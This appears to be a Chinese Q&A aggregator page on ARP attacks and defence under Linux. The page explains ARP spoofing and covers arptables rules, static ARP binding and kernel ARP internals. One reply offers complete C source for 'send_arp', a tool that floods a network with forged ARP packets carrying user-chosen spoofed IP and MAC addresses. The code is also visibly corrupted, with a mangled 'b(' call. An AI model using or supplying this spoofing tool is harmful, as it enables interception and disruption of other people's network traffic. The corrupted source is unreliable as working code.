導航:首頁 > 編程系統 > linuxarp攻擊的實現

linuxarp攻擊的實現

發布時間:2023-10-03 07:10:04

『壹』 什麼是ARP

地址解析協議,即ARP(Address Resolution Protocol),是根據IP地址獲取物理地址的一個TCP/IP協議。主機發送信息時將包含目標IP地址的ARP請求廣播到局域網路上的所有主機,並接收返回消息,以此確定目標的物理地址;收到返回消息後將該IP地址和物理地址存入本機ARP緩存中並保留一定時間,下次請求時直接查詢ARP緩存以節約資源。

地址解析協議是建立在網路中各個主機互相信任的基礎上的,區域網絡上的主機可以自主發送ARP應答消息,其他主機收到應答報文時不會檢測該報文的真實性就會將其記入本機ARP緩存;由此攻擊者就可以向某一主機發送偽ARP應答報文,使其發送的信息無法到達預期的主機或到達錯誤的主機,這就構成了一個ARP欺騙。



(1)linuxarp攻擊的實現擴展閱讀:

RARP和ARP不同,地址解析協議是根據IP地址獲取物理地址的協議,而反向地址轉換協議(RARP)是區域網的物理機器從網關伺服器的ARP表或者緩存上根據MAC地址請求IP地址的協議,其功能與地址解析協議相反。與ARP相比,RARP的工作流程也相反。首先是查詢主機向網路送出一個RARP Request廣播封包,向別的主機查詢自己的IP地址。這時候網路上的RARP伺服器就會將發送端的IP地址用RARP Reply封包回應給查詢者,這樣查詢主機就獲得自己的IP地址了。

『貳』 Linux C編程, 如何仿造ip、mac地址發送報文呢 是利用ARP協議漏洞嗎有沒有源代碼借鑒下~~

一個arp欺騙攻擊的代碼如下:
/*
This program sends out ARP packet(s) with source/target IP
and Ethernet hardware addresses supplied by the user.
*/

#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. \n"
"usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);

int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}

number = atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data, DEFAULT_DEVICE);
for (j = 0; j < number; j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}

void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
b(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}

void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}

『叄』 linux下防arp

方法一:
首先安裝arptables:
sudo apt-get install arptables
然後定義規則:
sudo arptables -A INPUT --src-mac ! 網關物理地址 -j DROP
sudo arptables -A INPUT -s ! 網關IP -j DROP
sudo arptables -A OUTPUT --destination-mac ff:ff:ff:ff:ff:ff -j ACCEPT
不過這樣就有一點不好,區域網內的資源不能用!
sudo arptables -F
當然我們可以做個腳本,每次開機的時候自動運行!~sudo gedit /etc/init.d/arptables,內容如下:
#! /bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
arptables -A INPUT --src-mac ! 網關物理地址 -j DROP
arptables -A INPUT -s ! 網關IP -j DROP
arptables -A OUTPUT --destination-mac ff:ff:ff:ff:ff:ff -j ACCEPT
然後給arptables加個execution的屬性,
sudo chmod 755 /etc/init.d/arptables
再把arptables設置自動運行,
sudo update-rc.d arptables start 99 S .
用sysv-rc-conf直接設置

方法二:
1、先使用arp和 arp -a查看一下當前ARP緩存列表
[root@ftpsvr ~]# arp
Address HWtype HWaddress Flags Mask Iface
192.168.1.234 ether 00:04:61:AE:11:2B C eth0
192.168.1.145 ether 00:13:20:E9:11:04 C eth0
192.168.1.1 ether 00:02:B3:38:08:62 C eth0
說明:
Address:主機的IP地址
Hwtype:主機的硬體類型
Hwaddress:主機的硬體地址
Flags Mask:記錄標志,」C」表示arp高速緩存中的條目,」M」表示靜態的arp條目。
[root@ftpsvr ~]# arp -a
? (192.168.1.234) at 00:04:61:AE:11:2B [ether] on eth0
? (192.168.1.1) at 00:16:76:22:23:86 [ether] on eth0
2、新建一個靜態的mac–>ip對應表文件:ip-mac,將要綁定的IP和MAC 地下寫入此文件,格式為 ip mac。
[root@ftpsvr ~]# echo 『192.168.1.1 00:02:B3:38:08:62 『 > /etc/ip-mac
[root@ftpsvr ~]# more /etc/ip-mac
192.168.1.1 00:02:B3:38:08:62
3、設置開機自動綁定
[root@ftpsvr ~]# echo 『arp -f /etc/ip-mac 『 >> /etc/rc.d/rc.local
4、手動執行一下綁定
[root@ftpsvr ~]# arp -f /etc/ip-mac
5、確認綁定是否成功
[root@ftpsvr ~]# arp
Address HWtype HWaddress Flags Mask Iface
192.168.0.205 ether 00:02:B3:A7:85:48 C eth0
192.168.1.234 ether 00:04:61:AE:11:2B C eth0
192.168.1.1 ether 00:02:B3:38:08:62 CM eth0
[root@ftpsvr ~]# arp -a
? (192.168.0.205) at 00:02:B3:A7:85:48 [ether] on eth0
? (192.168.1.234) at 00:04:61:AE:11:2B [ether] on eth0
? (192.168.1.1) at 00:02:B3:38:08:62 [ether] PERM on eth0
從綁定前後的ARP緩存列表中,可以看到網關(192.168.1.1)的記錄標志已經改變,說明綁定成功。

『肆』 Linux內核-arp協議

從ip_finish_output2到dev_queue_xmit路徑:

http://www.bluestep.cc/linux%e5%91%bd%e4%bb%a4arping-%e7%bd%91%e7%bb%9c%e7%ae%a1%e7%90%86-%e9%80%9a%e8%bf%87%e5%8f%91%e9%80%81arp%e5%8d%8f%e8%ae%ae%e6%8a%a5%e6%96%87%e6%b5%8b%e8%af%95%e7%bd%91%e7%bb%9c/

arp協議:

(1).硬體類型:

硬體地址類型,該欄位值一般為ARPHRD_ETHER,表示乙太網。

(2).協議類型:

表示三層地址使用的協議,該欄位值一般為ETH_P_IP,表示IP協議

(3)硬體地址長度,乙太網MAC地址就是6;

(4)協議地址長度,IP地址就是4;

(5)操作碼

常見的有四種,arp請求,arp相應,rarp請求,rarp相應。

(6)發送方硬體地址與IP地址,(7)目標硬體地址與目標IP地址。

arp頭數據結構:

arp模塊的初始化函數為arp_init(),這個函數在ipv4協議棧的初始化函數inet_init()中被調用。
1.初始化arp表arp_tbl;
2.注冊arp協議類型;
3.建立arp相關proc文件,/proc/net/arp;
4.注冊通知事件

一個neigh_table對應一種鄰居協議,IPv4就是arp協議。用來存儲於鄰居協議相關的參數、功能函數、鄰居項散列表等。

一個neighbour對應一個鄰居項,就是一個arp條目

鄰居項函數指針表,實現三層和二層的dev_queue_xmit()之間的跳轉。

用來存儲統計信息,一個結構實例對應一個網路設備上的一種鄰居協議。

注冊arp報文類型 :dev_add_pack(&arp_packet_type);

就是把arp_packet_type添加到ptype_base哈希表中。

注冊新通知事件的時候,在已經注冊和UP的設備上,會調用一次這個通知事件。

設備事件類型:

創建一個鄰居項,並將其添加到散列表上,返回指向該鄰居項的指針。
tbl:待創建的鄰居項所屬的鄰居表,即arp_tbl;
pkey:三層協議地址(IP地址)
dev:輸出設備
want_ref:??

創建鄰居項

1.設置鄰居項的類型
2.設置鄰居項的ops指針
3.設置鄰居項的output函數指針

調用dst_link_failure()函數向三層報告錯誤,當鄰居項緩存中還有未發送的報文,而該鄰居卻無法訪問時被調用。不懂。

用來發送arp請求,在鄰居項狀態定時器處理函數中被調用。

neigh:arp請求的目的鄰居項

skb:緩存在該鄰居項中的待發送報文,用來獲取該skb的源ip地址。

將得到的硬體源、目的地址,IP源、目的地址等作為參數,調用arp_send()函數創建一個arp報文並將其輸出。

創建及發送arp報文

創建arp報文,填充欄位。

發送arp報文

用來從二層接收並處理一個arp報文。這個函數中就是做了一些參數檢查,然後調用arp_process()函數。

neigh_event_ns

neigh_update

這個函數的作用就是更新鄰居項硬體地址和狀態。分支比較多。

neigh_update_notify

代理arp(proxy arp),通常像路由器這樣的設備才使用,用來代替處於另一個網段的主機回答本網段主機的arp請求。

感覺代碼ARP好像沒啥用呀。

網路主機發包的一般過程:

1.當目的IP和自己在同一網段時,直接arp請求該目的IP的MAC。

2.當目的IP和自己不再同一網段時,arp請求默認網關的MAC。

https://www.cnblogs.com/taitai139/p/12336554.html

https://www.cnblogs.com/Widesky/p/10489514.html

當主機沒有默認網關的時候,arp請求別的網段的報文,到達路由器後,本來路由器是要隔離廣播的,把這個arp請求報文給丟棄,這樣就沒法通信了。當路由器開啟arp proxy後,路由器發現請求的目的IP在其他網段,就自己給主機回復一個arp響應報文,這樣源主機就把路由器的MAC當成目的IP主機對應的MAC,可以通信了。這樣可能會造成主機arp表中,多個IP地址都對應於路由器的同一個MAC地址。

可以使用arping命令發送指定IP的arp請求報文。

寫完了發現這個老妹寫的arp代理文章蠻好的,不過她好像是轉載的。

閱讀全文

與linuxarp攻擊的實現相關的資料

熱點內容
最近很火的app軟體是什麼軟體 瀏覽:862
ai文字工具 瀏覽:157
蘭博玩游戲路徑怎麼選擇正確文件 瀏覽:972
淘寶直通車恢復老版本 瀏覽:510
播放草莓的圖片我都文件 瀏覽:55
微信大文件打不開 瀏覽:767
家裝合同准備哪些文件 瀏覽:296
應用bat合並excel文件 瀏覽:984
迅雷影音文件夾 瀏覽:109
makefile的文件路徑 瀏覽:392
計算機程序文件名擴展名為 瀏覽:982
網路游戲推廣策劃案 瀏覽:609
替換所有文件內容的代碼 瀏覽:960
不是常用數據模型有哪些 瀏覽:426
aspcms版本號 瀏覽:835
安卓怎麼用數據流量下載軟體 瀏覽:553
大眾手動空調數據流通道號是多少 瀏覽:303
手機qq令牌 瀏覽:737
cg原畫上色教程 瀏覽:993
婚介服務中心app怎麼做 瀏覽:43

友情鏈接